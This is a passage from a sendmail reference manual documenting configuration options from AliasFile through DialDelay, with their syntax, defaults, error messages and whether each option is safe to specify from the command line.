Multiple alias files may similarly be specified on the command line with the -o switch. But be aware that any alias files that are declared in the command line cause all the configuration file alias declarations to be ignored.

In addition to the name of alias databases, sendmail also allows you to specify the class of each. The class is the same as the classes that are available for the K configuration command (see Section 33.3, "The K Configuration Command"). The class prefixes the name, and the two are separated by a colon:

O AliasFile=nis:mail.aliases

This example tells sendmail to look up aliases in the nis class (the nis) database called mail.aliases. The class can include switches that mean the same thing as those allowed for the K configuration command.

For example:

O AliasFile=nis:-N mail.aliases

Here, the -N class switch causes lookups to include a trailing null byte with each key. [5]

[5] Also see Section 24.4.4, "Duplicate Entries and Automation", which illustrates the -A option switch for appending keys.

Under V8.6 sendmail the reasonable classes are hash, btree, dbm, nis, and udb. Under V8.7 sendmail this list can also include nisplus for Sun's nisplus and hesiod for Hesiod support. (See Section 33.3.2, "The class" and Section 33.3.4, "The switches".) But note that it is generally better to use the service-switch file to select services because it is less confusing.

If a class is not a known one and if the -d27 command-line switch (see Section 37.5.88, -d27.1) is specified, sendmail prints

Unknown alias class badclass

If the class is one that cannot support aliasing (as defined by MCF_ALIASOK in conf.c) and if the -d27 command-line switch is specified, sendmail prints:

setalias: map class badclass can't handle aliases

In both cases the badclass is the offending class. Both errors cause the AliasFile (A) option's alias file declaration to be ignored.

Beginning with V8.7 sendmail, the declaration and use of alias files is further complicated [6] by the introduction of switched-services files (see Section 34.8.61). If the file defined by the ServiceSwitchFile option exists, and if it defines the type and location of alias information, each alias definition is used just as if it was included in the configuration file (although the syntax differs). On Solaris, Ultrix, and OSF systems, switched-service files are supplied by the operating system. With these you should beware the silent introduction of unexpected alias services. On other operating systems you may set up a V8.7 switched-service file that can be used for aliases if you wish.

[6] Or simplified, depending on whom you talk to.

The AliasFile (A) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.2 AliasWait (a)

Wait for aliases file rebuild

(All versions)

Whenever sendmail rebuilds the aliases database, it first clears the old database. It then rebuilds the database and, when done, adds the special entry @:@. Before sendmail attempts to use the database, it first looks in that database for the special entry @:@ that should be present. This curious entry is employed because it is one that is always illegal in an aliases file. If sendmail doesn't find that entry (whether because a user ran newaliases or because another invocation of sendmail is currently rebuilding it), it waits 2 seconds for that entry to appear, then checks again. If the entry is still unavailable, the wait is doubled (up to maximum wait of 60 seconds). The total time waited (after all the sleeps without success) is the interval specified by this AliasWait (a) option.

When the @:@ appears, sendmail checks to see whether the database still needs to be rebuilt and rebuilds it if it does. If the special entry @:@ does not appear after the specified time and if the AutoRebuildAliases (D) option (see Section 34.8.4) is set, sendmail assumes that some other process died while that other process was rebuilding the database. This assumption paves the way for sendmail to go ahead and rebuild the database. Note that if AutoRebuildAliases (D) option is not set, sendmail uses the old information.

The forms of the AliasWait (a) option are as follows:

Oadelay                            <-  configuration file (old style)
-oadelay                           <-  command line (old style)
O AliasWait=delay                  <-  configuration file (beginning with V8.7)
-OAliasWait=delay                  <-  command line (beginning with V8.7)
define(`confALIAS_WAIT',delay)     <-  V8 m4 configuration

The delay argument is of type time and, if omitted, defaults to 5 minutes. If the entire AliasWait (a) option is omitted or if delay is zero or non-numeric, the database is not automatically rebuilt. If the unit of time desired is omitted, the delay defaults to minutes. If you use the V8 m4 configuration, the default for confALIAS_WAIT is 10 minutes.

The AliasWait (a) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.3 AllowBogusHELO

Allow no host with HELO or EHLO

(V8.8 and above)

Prior to V8.7, sendmail would accept without complaint an SMTP HELO command (or an EHLO) that omitted the hostname:

220-oldsite.uofa.edu  Sendmail 8.6.13/8.6.13 ready at Fri, 31 Dec 1996 08:11:44 -0700
220 ESMTP spoken here
HELO
250 oldsite.uofa.edu Hello here.ufa.edu [123.45.67.89], pleased to meet you

RFC1123, section 5.2.5, specifies that all HELO and EHLO commands must be followed by a fully qualified hostname.

HELO here.uofa.edu
EHLO here.uofa.edu

Beginning with V8.7, omitting the hostname results in one of the following errors:

501 helo requires domain address
501 ehlo requires domain address

Note that there is no check to see that the hostname is actually that of the connecting host unless PICKY_HELO_CHECK is declared when sendmail is compiled(see Section 18.8.35, PICKY...). Also note that the hostname that is specified must appear to be a correctly formed hostname. If it is not, the following is printed:

501 Invalid domain name

If you favor forcing other sites to obey the RFCs, don't enable this option. But note that you may need to enable it if your site accepts connections from other sites that don't obey the protocols.

The AllowBogusHELO option is used like this:

O AllowBogusHELO=bool              <-  V8.8 and above

The bool is of type Boolean. If it is absent, the option defaults to true (do allow the hostname to be omitted). If the entire option declaration is missing, the default is false (require the hostname to be present). Note that there is no m4 shorthand for declaring this option.

The AllowBogusHELO option safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.4 AutoRebuildAliases (D)

Auto-rebuild the aliases database

(All versions)

The need to rebuild the aliases database is determined by comparing the modification time of the aliases source file, as defined by the AliasFile (A) option (see Section 34.8.1), to the modification time of the corresponding aliases.pag and aliases.dir, or aliases.db, database files. If the source file is newer and if this AutoRebuild-Aliases (D) option is set, sendmail attempts to rebuild the aliases database. If this option is not set, sendmail prints the following warning and uses the information in the old database:

Warning: alias database fname out of date

Here, fname is the name of the source file. If you set this AutoRebuildAliases (D) option, be sure that the AliasWait (a) option (see Section 34.8.2) is also declared and given a nonzero time argument. (File locking, to prevent simultaneous rebuilds, is described under the AliasWait (a) option.)

The forms of this AutoRebuildAliases (D) option are as follows:

ODbool                              <-  configuration file (old style)
-oDbool                             <-  command line (old style)
O AutoRebuildAliases=bool           <-  configuration file (beginning with V8.7)
-OAutoRebuildAliases=bool           <-  command line (beginning with V8.7)
define(`confAUTO_REBUILD',bool)     <-  V8 m4 configuration

With no argument, AutoRebuildAliases (D) is set to true (the aliases database is automatically rebuilt). If the entire AutoRebuildAliases (D) option is missing, it defaults to false (no automatic rebuilds).

IDA sendmail uses fcntl(3) to prevent simultaneous rebuilds. Old versions of sendmail used flock(3). V8 sendmail uses either fcntl(3) or flock(3), depending on how it was compiled.

The AutoRebuildAliases (D) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.5 BlankSub (B)

Set unquoted space replacement

(All versions)

Some mailer programs have difficulty handling addresses that contain spaces. Such addresses are both illegal under RFC821 and RFC822 and subject to gross misinterpretation. For example, the address

John Q Public@wash.dc.gov

is viewed by some MUA programs as being composed of three separate addresses: John, Q, and Public@wash.dc.gov. To prevent this misinterpretation, such MUAs usually either quote the user portion or escape each space with a backslash:

"John Q Public"@wash.dc.gov   <-  quoted
John\ Q\ Public@wash.dc.gov   <-  escaped

The BlankSub (B) option is intended to handle an address that contains internal spaces, and is neither quoted nor escaped. For sendmail a space is any character defined by the C language library routine isspace(3).

Most sites use a . (dot or period) or an _ (underscore) character to replace unquoted space characters. That is, they declare the BlankSub (B) option as one of the following:

OB.
OB_

Feeding the address

John Q Public@wash.dc.gov

through sendmail with the option OB. set yields

John.Q.Public@wash.dc.gov

The forms of the BlankSub (B) option are as follows:

OBchar                           <-  configuration file (old style)
-oBchar                          <-  command line (old style)
O BlankSub=char                  <-  configuration file (beginning with V8.7)
-OBlankSub=char                  <-  command line (beginning with V8.7)
define(`confBLANK_SUB',char)     <-  V8 m4 configuration

The argument char is of type character and is a single character. The default, if this option is omitted or if the char argument is omitted, is that an unquoted space character is replaced with a space character (which does nothing to correct the problem at all). The default for the m4 technique is the dot (.) character.

Note that old-style addresses are delimited from each other with spaces rather than commas. Such addresses may be wrongly joined into a single address if the char is other than a space. Acceptance of such old-style addresses is determined by the setting of the OldStyleHeaders (o) option (see Section 34.8.44).

Also note that this BlankSub (B) option may also be used when tokenized addresses are reassembled (see Section 28.2.3, "Pasting Addresses Back Together").

The BlankSub (B) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.6 CheckAliases (n)

Check right-hand side of aliases

(V8.1 and above)

Ordinarily, when sendmail rebuilds an aliases database (as defined by the AliasFile (A) option, see Section 34.8.1), it checks only the addresses to the left of the colon to make sure they all resolve to a delivery agent that has the F=A flag set (see Section 30.8.12, F=A). It is possible to also have addresses to the right of the colon checked for validity by setting option CheckAliases (n) option to true.

The forms of the CheckAliases (n) option are as follows:

Onbool                               <-  configuration file (old style)
-onbool                              <-  command line (oldstyle)
-on                                  <-  command line shorthand
O CheckAliases=bool                  <-  configuration file (beginning with V8.7)
-OCheckAliases=bool                  <-  command line (beginning with V8.7)
define(`confCHECK_ALIASES',True)     <-  V8 m4 configuration

The bool is of type Boolean. If it is absent, the option defaults to true (do check the right-hand side of aliases). If the entire option declaration is missing, the default is false (don't check the right-hand side of aliases). The default for the m4 configuration technique is false.

Addresses to the right of the colon are checked only to be sure they are good addresses. Each is processed by rule set 3 and then rule set 0 to select a delivery agent. Processing merely needs to successfully select any non-#error delivery agent (see Section 30.5.2, "The error Delivery Agent"). The sendmail program prints and logs the following warning and skips any address that fails to select a valid delivery agent:

address... bad address

If the address selects an #error delivery agent, the error text for that error is printed instead:

address... user address required

The CheckAliases (n) option is further described in Section 24.5.2, "Check the Right Side of Aliases". This option is safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.7 CheckpointInterval (C)

Checkpoint the queue

(V8.1 and above)

When a single email message is sent to many recipients (those on a mailing list, for example), a single sendmail process handles all the recipients. Should that sendmail process die or be killed halfway through processing, there is no record that the first half was delivered. As a result, when the queue is later reprocessed, the recipients in that first half will receive the message a second time.

The CheckpointInterval (C) option can limit the duplication. It tells sendmail to rewrite (checkpoint) its qf file (which contains the list of recipients; see Section 23.2.5, "The Queue Control File: qf") after each group of a specified number of recipients has been delivered. Recipients who have already received mail are deleted from the list, and that list is rewritten to the qf file. The forms of the CheckpointInterval (C) option are as follows:

OCnum                                     <-  configuration file (old style)
-oCnum                                    <-  command line (old style)
O CheckpointInterval=num                  <-  configuration file (beginning with V8.7)
-OCheckpointInterval=num                  <-  command line (beginning with V8.7)
define(`confCHECKPOINT_INTERVAL','num')   <-  V8 m4 configuration

The num argument is of type numeric and specifies the number of recipients in each group. If num is entirely missing, is non-numeric, or is zero, this feature is disabled. If the entire CheckpointInterval (C) option is missing, the default is 10. There is a small performance penalty that increases as num approaches 1. A good starting value is 4, meaning that at most four people will get duplicate deliveries. Note that the F=M flag on local delivery will try as many recipients as possible before checkpointing, even if that number is greater than the value of this CheckpointInterval option. The CheckpointInterval (C) option is safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.8 ClassFactor (z)

Multiplier for priority increments

(All versions)

The ClassFactor (z) option specifies a multiplying weight (factor) for a message's precedence when determining a message's priority. This option interacts with the RecipientFactor (y) option (see Section 34.8.53), and both options are described under that latter option.

The forms of the ClassFactor (z) option are as follows:

Ozfactor                                   <-  configuration file (old form)
-ozfactor                                  <-  command line (old form)
O ClassFactor=factor                       <-  configuration file (beginning with V8.7)
-OClassFactor=factor                       <-  command line (beginning with V8.7)
define(`confWORK_CLASS_FACTOR',factor)     <-  V8 m4 configuration

The argument factor is of type numeric. If that argument is missing, the default value is zero. If the entire option is missing, the default value is 1800. The default for the m4 technique is to omit this option.

The ClassFactor (z) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.9 ColonOkInAddr

Allow colons in addresses

(8.7 and above)

One possible form of an address is called "list syntax" and looks like this:

group: list;

Here, group is the name of a mailing list, and list is a list of zero or more addresses to which the message should be delivered (see Section 17.1.2.1, "A rule to handle List:;"). To understand this kind of address, sendmail needs to view the prefix and colon as a comment and the trailing semicolon as a comment. This is similar to treating everything outside an angle-bracketed address as a comment:

group:  list  ;
group: <list> ;

For such addresses to be recognizable, it is necessary to prohibit the use of other addresses that contain colons, unless those colons appear inside a part of the address that is surrounded by angle brackets. That is, to use list syntax, addresses like the following cannot be allowed:

host:george@wash.dc.gov

To handle this situation, V8.7 sendmail has introduced the ColonOkInAddr option. It is used like this:

O ColonOkInAddr=bool                    <-  configuration file
-OColonOkInAddr=bool                    <-  command line
define(`confCOLON_OK_IN_ADDR',bool)     <-  m4 configuration

The argument bool is of type Boolean. If it is absent, this option is true (colons are okay, so list syntax is not recognized). If this option is entirely omitted or if bool is false, colons are not okay, so list syntax is recognized. Note that for version 5 or earlier configuration files (see Section 27.5, "The V Configuration Command" for a description of the V configuration command), this option is automatically set to true. Also note that for m4 configurations this option is absent (false) by default.

Note that DECnet style addresses (see Section 29.4.4, "Handling Specialty Addresses") legitimately contain double colons (e.g., host::user). DECnet addresses are correctly recognized no matter how this ColonOkInAddr option is set.

The ColonOkInAddr option is safe. If it is specified from the command line, sendmail will not relinquish its root privilege.

34.8.10 ConnectionCacheSize (k)

Multiple-SMTP connections

(V8.1 and above)

Usually, sendmail uses a single autonomous SMTP session to transmit one email message to another host. It connects to the other host, transmits the message, and closes the connection. Although this approach is sufficient for most mail, there are times when sending multiple messages during a single connection is preferable. This is called caching connections.

When sendmail caches a connection, it connects to the other host and transmits the mail message as usual. But instead of closing the connection, it keeps the connection open so that it can transmit additional mail messages without the additional overhead of opening and closing the connection each time. The ConnectionCacheSize (k) option of V8 sendmail specifies that open connections to other hosts should be maintained and the maximum number of those connections. The forms of the ConnectionCacheSize (k) option are as follows:

Oknum                                 <-  configuration file (V8.6)
-oknum                                <-  command line (V8.6)
O ConnectionCacheSize=num             <-  configuration file (beginning with V8.7)
-OConnectionCacheSize=num             <-  command line (beginning with V8.7)
define(`confMCI_CACHE_SIZE',num)      <-  V8 m4 configuration

There may be optional whitespace preceding the num. The num is an integer that specifies the maximum number of simultaneous connections to keep open. If num is zero, this caching feature is turned off. A value of 1 is good for workstations that forward all mail to a central mail server and is the default that is used if this option is entirely missing. When configuring with V8's m4 technique, the default is 2. A value of 4 is the maximum for most machines that forward mail directly over the Internet. Higher values require that you increase the number of open files allowed per process at the system level.

Caching is of greatest benefit in processing the queue. V8 sendmail automatically adapts to conditions to avoid caching connections for each invocation of sendmail. Maintenance of an open connection can delay return to the user's program, for example, and too many open connections to a common target host can create a high load on that host.

When caching is enabled with this ConnectionCacheSize (k) option, the ConnectionCacheTimeout (K) option should also be declared to set the connection timeout. The ConnectionCacheSize (k) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.11 ConnectionCacheTimeout (K)

Multiple-SMTP time-outs

(V8.1 and above)

Maintaining a cached connection to another host (see Section 34.8.10) imposes a penalty on both the local host and the other host. Each connection means that the other host is running a forked sendmail process that is doing nothing but waiting for an SMTP QUIT message to close the connection or for more mail to arrive. The local host has open sockets that consume system resources.

To limit the impact on other hosts, V8 sendmail offers the ConnectionCacheTimeout (K) option. This option tells sendmail how long to wait for another mail message before closing the connection.

The forms of the ConnectionCacheTimeout (K) option are as follows:

OKwait                                   <-  configuration file (V8.6)
-oKwait                                  <-  command line (V8.6)
O ConnectionCacheTimeout=wait            <-  configuration file (beginning with V8.7)
-OConnectionCacheTimeout=wait            <-  command line (beginning with V8.7)
define(`confMCI_CACHE_TIMEOUT',wait)     <-  V8 m4 configuration

There may be optional whitespace preceding the wait. The wait is of type time and specifies the period to wait before timing out a cached connection. If this option is entirely missing, the default (for both the configuration file and the m4 configuration technique) is 300 seconds (five minutes). When specifying the wait, be sure to include a trailing s character. If you don't, the number that you specify is interpreted by default as a number of minutes. The wait should never be longer than five minutes. A value of 0 essentially turns off caching.

This ConnectionCacheTimeout (K) option has an effect only if the ConnectionCacheSize (k) option (see Section 34.8.10) is also declared. The ConnectionCacheTimeout (K) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.12 ConnectionRateThrottle

Incoming SMTP connection rate

(V8.8 and above)

Whenever an outside site connects to sendmail's SMTP port, sendmail fork(2)s a copy of itself. That copy (the child) processes the incoming message. Beginning with V8.8, sendmail keeps track of how many child processes it has spawned to handle incoming connections. The MaxDaemonChildren (see Section 34.8.35) option can be used to reject connections when the number of children has exceeded a specified threshold.

A different approach is to slow down acceptance of, rather than to reject, new connections when the number of children becomes too high. This allows the QueueLA (x) option (see Section 34.8.50) and the RefuseLA (X) option (see Section 34.8.54) to operate properly even if many incoming connections arrive simultaneously. You slow incoming connections with the ConnectionRateThrottle option:

O ConnectionRateThrottle=num                        <-  V8.8 and above
define(`confCONNECTION_RATE_THROTTLE', num)         <-  V8 m4 technique

The num is of type numeric. If it is present and greater than zero, connections are slowed when more than that number of connections arrive within one second. If num is less than or equal to zero, or absent, no threshold is enforced. If the entire option is missing, the default becomes zero. The default for the m4 technique is to omit this option.

To illustrate how the slowdown operates, consider a situation in which num is set to 3, and 12 connections come in simultaneously. The first three connections are handled immediately. The next three are handled after one second. The three after that are handled after two seconds, and so on. The twelfth connection would be handled after a delay of three seconds.

Note that this option and the MaxDaemonChildren option (see Section 34.8.35) affect incoming connections differently.

The ConnectionRateThrottle option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.13 DaemonPortOptions (O)

Options for the daemon

(V8.1 and above)

The DaemonPortOptions (O) option is used to customize the daemon's SMTP service. The form for this option is as follows:

OOpair,pair,pair                                  <-  configuration file (old form)
-oOpair,pair,pair                                 <-  command line (old form)
O DaemonPortOptions=pair,pair,pair                <-  configuration file (beginning with V8.7)

-ODaemonPortOptions=pair,pair,pair                <-  command line (beginning with V8.7)
define(`confDAEMON_OPTIONS',`pair,pair,pair')     <-  V8 m4 configuration

The DaemonPortOptions (O) is followed by a comma-separated list of pairs, in which each pair is of the form:

key=value

Only six keys are available, and prior to V8.7 they were case-sensitive. Prior to V8.7 an unknown key was silently ignored. Now an unknown key not only is ignored but also causes following error to be printed:

DaemonPortOptions unknown parameter "key"

The list of all currently defined keys is shown in Table 34.12.

Table 34.12: DaemonPortOptions Option Keywords
Key Meaning
Addr Section 34.8.13.1, "DaemonPortOptions=Addr"

The network to accept connection from

Family Section 34.8.13.2, "DaemonPortOptions=Family"

The type network we are connected to

Listen Section 34.8.13.3, "DaemonPortOptions=Listen"

The size of the listen(2) queue

Port Section 34.8.13.4, "DaemonPortOptions=Port"

The port number on which sendmail should listen

ReceiveSize Section 34.8.13.5, "DaemonPortOptions=ReceiveSize"

The size of the TCP/IP receive buffer

SendSize Section 34.8.13.6, "DaemonPortOptions=SendSize"

The size of the TCP/IP send buffer

Only the first character in each key is recognized, so a succinct declaration such as the following can be used to change the port used by the daemon:

OOP=26,A=our-net    # Only listen for local mail                   <-  old form
O DaemonPortOptions=P=26,A=our-net  # Only listen for local mail   <-  beginning with V8.7

The O option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.13.1 DaemonPortOptions=Addr

The Addr key is used to specify the network to use. The value is the name [7] or IP address of one of your network interfaces:

[7] Names did not work prior to V8.8 sendmail.

O DaemonPortOptions=Addr=128.32.204.25     # listen to our internal network only

If the Addr pair is omitted, the default network becomes INADDR_ANY, which allows connections from any network.

34.8.13.2 DaemonPortOptions=Family

The Family key is used to specify the network family. The legal possible values are inet for AF_INET, iso for AF_ISO, ns for AF_NS, and x.25 for AF_CCITT.

O DaemonPortOptions=Family=iso

Note that only inet and iso are currently supported. The default is inet. Also note that inet requires NETINET to be defined, and iso requires NETISO to be defined when sendmail is being compiled (see Section 18.8.26, NET...).

34.8.13.3 DaemonPortOptions=Listen

When sendmail begins to run in daemon mode, it executes a listen(2) system call as part of monitoring its SMTP port for incoming mail. The second argument to listen(2) defines the maximum length to which the incoming queue of pending connections may grow. If a connection request arrives with the queue full, the client will receive an error that indicates ECONNREFUSED. This Listen key is used to change the size of the incoming queue from its default of 10. If Listen is less than or equal to zero, listen(2) will silently set its own default. But note that some kernels may have built-in defaults of their own, so setting Listen may have no effect at all.

34.8.13.4 DaemonPortOptions=Port

The Port key is used to specify the service port on which the daemon should listen. This is normally the port called smtp, as defined in the /etc/services file. The value may be either a services string (such as smtp) or a number (such as 25). This key is useful inside domains that are protected by a firewall. By specifying a non-standard port, the firewall can communicate in a more secure manner with the internal network while still accepting mail on the normal port from the outside world:

O DaemonPortOptions=Port=26

If this pair is missing, the port defaults to smtp.

34.8.13.5 DaemonPortOptions=ReceiveSize

The ReceiveSize key is used to specify the size of the TCP/IP receive buffer. The value is a size in bytes. This should not be set unless you are having performance problems. Slow links (such as 9.6K SL/IP lines) might profit from a setting of 256, for example:

O DaemonPortOptions=ReceiveSize=256

The default value is set by the system (see setsockopt(2)).

34.8.13.6 DaemonPortOptions=SendSize

The SendSize key is used to specify the size of the TCP/IP send buffer. The value is a size in bytes. This should not be set unless you are having performance problems. Slow links (such as 9.6K SL/IP lines) might profit from a setting of 256, for example:

O DaemonPortOptions=SendSize=256

The default value is set by the system (see setsockopt(2)).

34.8.14 DefaultCharSet

Content-Type: character set

(V8.7 and above)

When a mail message is converted from 8 to 7 bits (see the EightBitMode (8) option in Section 34.8.22), it is important that the result look like a MIME message. V8.7 sendmail first outputs the following header if one is not already present:

MIME-Version: 1.0

After that, V8.7 sendmail looks for a Content-Type: header (see Section 35.10.9, Content-Type:). If none is found, the following is inserted, where charset is the value declared for this option:

Content-Type: text/plain; charset=charset

The forms of the DefaultCharSet option are as follows:

O DefaultCharSet=charset                    <-  configuration file
-ODefaultCharSet=charset                    <-  command line
define(`confDEF_CHAR_SET',charset)          <-  m4 configuration

If DefaultCharSet is undefined, charset defaults to the string "unknown-8bit." The default for the m4 technique is to omit this option.

Note that if the C= equate (Section 30.4.2, C=) is present for the sender's delivery agent, that character set supersedes the DefaultCharSet.

The DefaultCharSet option is safe. If specified from the command line, sendmail will not relinquish its root privilege.

34.8.15 DefaultUser (g)(u)

Default delivery agent identity

(All versions)

The sendmail program can be run as an suid root process (that is, with the permissions of the root, no matter who runs it) or as an ordinary process, run by an ordinary (nonprivileged) user (that is, with root privilege only if it is run by root). When sendmail is run so that it has root privilege, it must give up that privilege under certain circumstances to remain secure. [8] When it can't set its identity to that of a real user, sendmail sets its gid to that specified by the g option and its uid to that specified by the u option. For version 8.7 and above, the DefaultUser option sets both the user and group identities. [9]

[8] V8 is more security conscious and presumes that it is still root even if it has given up that privilege.

[9] In essence, the g and u options have been deprecated in favor of a single DefaultUser option, which sets both.

When sendmail is running with root privilege and when the F=S delivery agent flag (see Section 30.8.40, F=S) is not specified, sendmail changes its owner and group identity to that of an ordinary user in the following circumstances:

1.

If the mail message is forwarded because of a user's ~/.forward file and if delivery is via a delivery agent that has the F=o flag set (see Section 30.8.33, F=o), then sendmail changes its owner and group identity to that of the user whose ~/.forward file was read.

2.

Otherwise, if the mail message is being delivered through an aliases(5) file's :include: mailing list expansion and if delivery is via a delivery agent that has the F=o flag set (see Section 30.8.33) or to a file, then sendmail changes its owner and group identity to that of the owner of the file that was specified by the :include: line.

3.

Otherwise, if the sender of the mail message is local and if delivery is via a delivery agent that does not have the F=o flag set (see Section 30.8.33) or to a file, then sendmail changes its owner and group identity to that of the sender. If the sender is root, sendmail changes its owner and group identity to that specified by the DefaultUser option.

4.

Otherwise, sendmail changes its owner and group identity to that specified by the DefaultUser option.

These user and group defaults are ignored if the delivery agent's F= equate includes the S flag (run as another specified user). These user and group defaults are also ignored for any delivery agent that specifies the U= equate (see Section 30.4.13, U=), which customizes user and group identities at the individual delivery agent level, but only if the F=o equate is not specified.

The forms of the DefaultUser (u) (g) option are as follows:

Ouuid                                 <-  user, configuration file (old form)
-ouuid                                <-  user, command line (old form)
Oggid                                 <-  group, configuration file (old form)
-oggid                                <-  group, command line (old form)
Ouuid:gid                             <-  both, configuration file (beginning with V8.7)
-ouuid:gid                            <-  both, command line (beginning with V8.7)
O DefaultUser=uid:gid                 <-  both, configuration file (beginning with V8.7)
-ODefaultUser=uid:gid                 <-  both, command line (beginning with V8.7)
define(`confDEF_USER_ID',uid)         <-  user, V8 m4 configuration
define(`confDEF_GROUP_ID',gid)        <-  group, V8 m4 configuration (obsolete as of V8.7)
define(`confDEF_USER_ID',uid:gid)     <-  both, V8 m4 configuration

The arguments uid and gid are of type numeric. Beginning with V8 sendmail, user or group names can also be text (for example, nobody). Beginning with V8.7 sendmail, the user definition with DefaultUser or u can specify both user and group. For example,

O DefaultUser=daemon:nogroup

There may be arbitrary whitespace between the user (daemon), the colon, [10] and the group (nogroup). If the group is missing, the value that is assigned to it varies depending on the nature of the uid specification. If the uid is a name, the group becomes the default group of that user as defined in the passwd(5) file. If the uid is numeric, the value in the group is not changed. For example, consider this passwd(5) file entry, where the group 12 corresponds to the group name bumgroup:

[10] The character between the user and group notations can be a colon, a period, or a forward slash. The colon is recommended.

bogus:*:10:12::/:

Then all the following are equivalent:

O DefaultUser=bogus
O DefaultUser=bogus:12
O DefaultUser=bogus:bumgroup

Og12 | [lbbcb] | taken together
Ou10 | [ltbcb]

But the following combination causes the group to reset to 12:

Og77
Oubogus

Under pre-8.7 sendmail a missing argument causes the value 0 to be used for the respective user or group identities. If an entire u or g option is missing, the default value becomes 1 (usually daemon). Under V8.7 sendmail the default is -1. In NFS-mounted environments, safe values for these options are one less than those of the user nobody and the group nogroup.

For maximum security, you should create a special pseudo-user and assign that pseudo-user to this option. (See Section 22.8.3.1, "The DefaultUser option" for a more detailed description of this approach.)

The g, u, and DefaultUser options are not safe. If specified from the command line, they may cause sendmail to relinquish its root privilege.

34.8.16 DeliveryMode (d)

Set delivery mode

(All versions)

There are four modes that sendmail can use for delivering mail. Three have always been a part of sendmail: background, interactive, and queue-only. One is new to V8.7 sendmail: deferred.

The mode is selected with the DeliveryMode (d) option:

Odmode                               <-  configuration file (old form)
-odmode                              <-  command line (old form)
O DeliveryMode=mode                  <-  configuration file (beginning with V8.7)
-ODeliveryMode=mode                  <-  command line (beginning with V8.7)
define(`confDELIVERY_MODE',mode)     <-  V8 m4 configuration

The mode argument is of type character. It is case sensitive (must be lowercase) and is selected from one of the keywords shown in Table 34.13. Only the first letter of each is recognized, but we recommend full words for improved clarity.

Table 34.13: DeliveryMode Option Keywords
Keyword Description
background Section 34.8.16.1, "DeliveryMode=background"

Background (asynchronous) delivery

deferred Section 34.8.16.2, "DeliveryMode=deferred"

Deferred (held as is) delivery (beginning with V8.7)

interactive Section 34.8.16.3, "DeliveryMode=interactive"

Interactive (synchronous) delivery

queueonly Section 34.8.16.4, "DeliveryMode=queueonly"

Queued (held but processed) delivery

If the mode argument is missing, this option defaults to the i or interactive mode. If the entire DeliveryMode (d) option is missing, V8 sendmail then defaults to background mode, but old sendmail behaves unpredictably; consequently, this option should be considered mandatory. The default for a V8 m4 configuration is also background.

If the mode character is other than one of the first lowercase letters shown in Table 34.13 sendmail will print and log the following error and will immediately exit with an exit value of EX_USAGE as defined in <sysexits.h>:

Unknown delivery mode char

Queue-only and deferred modes are only available if QUEUE was defined when sendmail was compiled (see Section 18.8.37, QUEUE). If QUEUE was not defined and one of these two modes is selected, sendmail will print and log the following:

need QUEUE to set -odqueue or -oddefer

The DeliveryMode (d) option is safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.16.1 DeliveryMode=background

Background mode - intended primarily [11] for use in the configuration file - allows sendmail to run asynchronously. This means that once sendmail has gathered the entire message and verified that the recipient is deliverable, it will fork(3) a copy of itself and exit. The copy, running in the background (asynchronously), will then handle the delivery. From the user's point of view, this mode allows the mail interface program to act as though it sent the message nearly instantaneously.

[11] A sending program (MUA) might need to use background mode on the command line (db) if the message is urgent and if the default in sendmail's configuration file is to queue all messages (with q mode).

34.8.16.2 DeliveryMode=deferred

Deferred mode - for use in either the command line or the configuration file - is much like queue-only mode except that all database lookups, including DNS, are deferred until the actual queue run. Deferred mode (new with V8.7) is preferred for dial-on-demand sites (typically, modem-based SL/IP or PPP connections). As in queue-only mode, all mail is queued for later delivery, but with deferred mode, code inside sendmail that would ordinarily interact with DNS is suppressed. This prevents the modem from being dialed and connections from being established every time mail is queued.

34.8.16.3 DeliveryMode=interactive

Interactive mode - intended for use from the command line - causes sendmail to run synchronously. This mode is useful primarily for debugging mail problems. Instead of going into the background with fork(3), it runs in the foreground (synchronously). In this mode, error messages are printed back to the controlling terminal rather than being mailed to the user as bounced mail. The -v command-line switch (see Section 36.7.41) automatically sets the mode to interactive.

34.8.16.4 DeliveryMode=queueonly

Queue-only mode - for use in either the command line or the configuration file - causes sendmail to synchronously queue mail. Queue-only mode is useful at sites that have huge amounts of UUCP mail or Usenet news batch feeds or when delivering to low priority addresses such as mailing lists. Queuing has the beneficial effect of serializing delivery through queue runs, and it reduces the load on a machine that many parallel backgrounded sendmail processes can cause. Queue-only mode is typically supplied as a command-line option to sendmail by the uuxqt(8) program. When queue-only mode is selected, all mail is queued for delivery, and none is actually delivered. A separate run of sendmail with its -q command-line switch (see Section 23.6.1, "Periodically with -q") is needed to actually process the queue. Note that addresses can still be looked up with DNS as a part of the queueing process. Consequently, queue-only mode is probably not suitable for dial-on-demand sites.

34.8.17 DialDelay

Connect failure retry time

(V8.7 and above)

Many Internet providers allow small sites (such as home machines) to dial up when there is a demand for network traffic to flow. Such connections are usually of short duration and use the PPP or SL/IP protocols. A problem can arise when this dial-up-on-demand is instigated by sendmail. [12] The process of negotiating a dial-up connection can take so long that sendmail will have its attempt to connect(2) fail. (See also the connect keyword for the Timeout option in Section 34.8.70.2). To remedy this situation, V8.7 sendmail offers the DialDelay option. It is declared like this:

[12] Or by any other network-oriented program, such as FTP or Mosaic.

O DialDelay=delay                <-  configuration file
-ODialDelay=delay                <-  command line
define(`confDIAL_DELAY',delay)   <-  m4 configuration

The argument delay is of type time. If this option is entirely omitted or if delay is omitted, the default is then zero and no delay is enabled. The default for the m4 configuration technique is also zero. If the unit of time is omitted from the time declaration, the default is seconds.

If delay is nonzero and sendmail has its initial connect(2) fail, it will sleep(3) for delay seconds and then try to connect(2) again. Note that sendmail tries a second time only once, so the delay should be large enough to accommodate your anticipated worst-case delay. On the other hand, care should be taken to avoid excessively long delays that can make sendmail appear to hang. No check is made by sendmail for absurdly large values given to delay.

The DialDelay option is safe. If it is specified from the command line, sendmail will not relinquish its root privilege.

